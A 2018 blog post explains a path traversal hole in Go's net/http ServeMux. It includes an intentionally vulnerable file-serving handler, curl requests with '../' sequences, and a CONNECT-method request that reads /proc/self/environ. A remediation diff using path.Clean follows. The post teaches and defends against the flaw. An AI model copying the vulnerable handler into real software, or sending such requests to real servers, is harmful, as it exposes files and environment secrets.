ServeMux and a path traversal vulnerability
July 18, 2018
I really love Go language and write almost everything I do in it and it’s a topic for other blog posts itself. Here we’ll talk about pretty common path traversal vulnerability exploitation.
TL;DR Too many people think that ServeMux
always sanitizes a URL request
path when it’s not. Well at least not always.
Issue
Consider the following snippet:
package main
import (
"io/ioutil"
"log"
"net/http"
"path/filepath"
"strings"
)
const root = "/tmp"
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
filename := filepath.Join(root, strings.Trim(r.URL.Path, "/"))
contents, err := ioutil.ReadFile(filename)
if err != nil {
w.WriteHeader(http.StatusNotFound)
return
}
w.Write(contents)
})
server := &http.Server{
Addr: "127.0.0.1:50000",
Handler: mux,
}
log.Fatal(server.ListenAndServe())
}
Seems like a basic path traversal for someone who do not write Go and write Go a lot :)
Let’s create a file in /tmp
folder to ensure everything works as expected:
echo content > /tmp/somefile
curl -v 127.0.0.1:50000/somefile
* Trying 127.0.0.1...
* Connected to 127.0.0.1 (127.0.0.1) port 50000 (#0)
> GET /somefile HTTP/1.1
> Host: 127.0.0.1:50000
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Wed, 18 Jul 2018 18:08:46 GMT
< Content-Length: 8
< Content-Type: text/plain; charset=utf-8
<
content
* Connection #0 to host 127.0.0.1 left intact
Seems okay, time to exploit it:
curl -v --path-as-is 127.0.0.1:50000/somefile/../../etc/hostname
* Trying 127.0.0.1...
* Connected to 127.0.0.1 (127.0.0.1) port 50000 (#0)
> GET /something/../../../etc/hostname HTTP/1.1
> Host: 127.0.0.1:50000
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
< Content-Type: text/html; charset=utf-8
< Location: /etc/hostname
< Date: Wed, 18 Jul 2018 18:07:35 GMT
< Content-Length: 48
<
<a href="/etc/hostname">Moved Permanently</a>.
* Connection #0 to host 127.0.0.1 left intact
Turns out that a ServeMux
canonicalize the requested path so it’s not super easy exploitable, but it still is.
Here goes the CONNECT
method:
curl -v -X CONNECT --path-as-is 127.0.0.1:50000/../../proc/self/environ
* Trying 127.0.0.1...
* Connected to 127.0.0.1 (127.0.0.1) port 50000 (#0)
> CONNECT /../../proc/self/environ HTTP/1.1
> Host: 127.0.0.1:50000
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Wed, 18 Jul 2018 18:17:55 GMT
< Content-Type: application/octet-stream
< Transfer-Encoding: chunked
<
...
Bingo.
I should note that this is an expected behaviour and
clearly documented
in net/http
package docs:
The path and host are used unchanged for CONNECT requests.
Remediation
Use filepath.FromSlash
accompanied with path.Clean
and a preceding forward slash:
diff --git a/main.go b/main.go
index d50e6f3..91e5015 100644
--- a/main.go
+++ b/main.go
@@ -4,6 +4,7 @@ import (
"io/ioutil"
"log"
"net/http"
+ "path"
"path/filepath"
"strings"
)
@@ -13,7 +14,7 @@ const root = "/tmp"
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
- filename := filepath.Join(root, strings.Trim(r.URL.Path, "/"))
+ filename := filepath.Join(root, filepath.FromSlash(path.Clean("/"+strings.Trim(r.URL.Path, "/"))))
contents, err := ioutil.ReadFile(filename)
if err != nil {
w.WriteHeader(http.StatusNotFound)
Also, it’s a good practice to limit acceptable request methods.
If you’re not able to fix the code - put a vulnerable service behind a reverse proxy like nginx, that does not allow CONNECT
method request by default.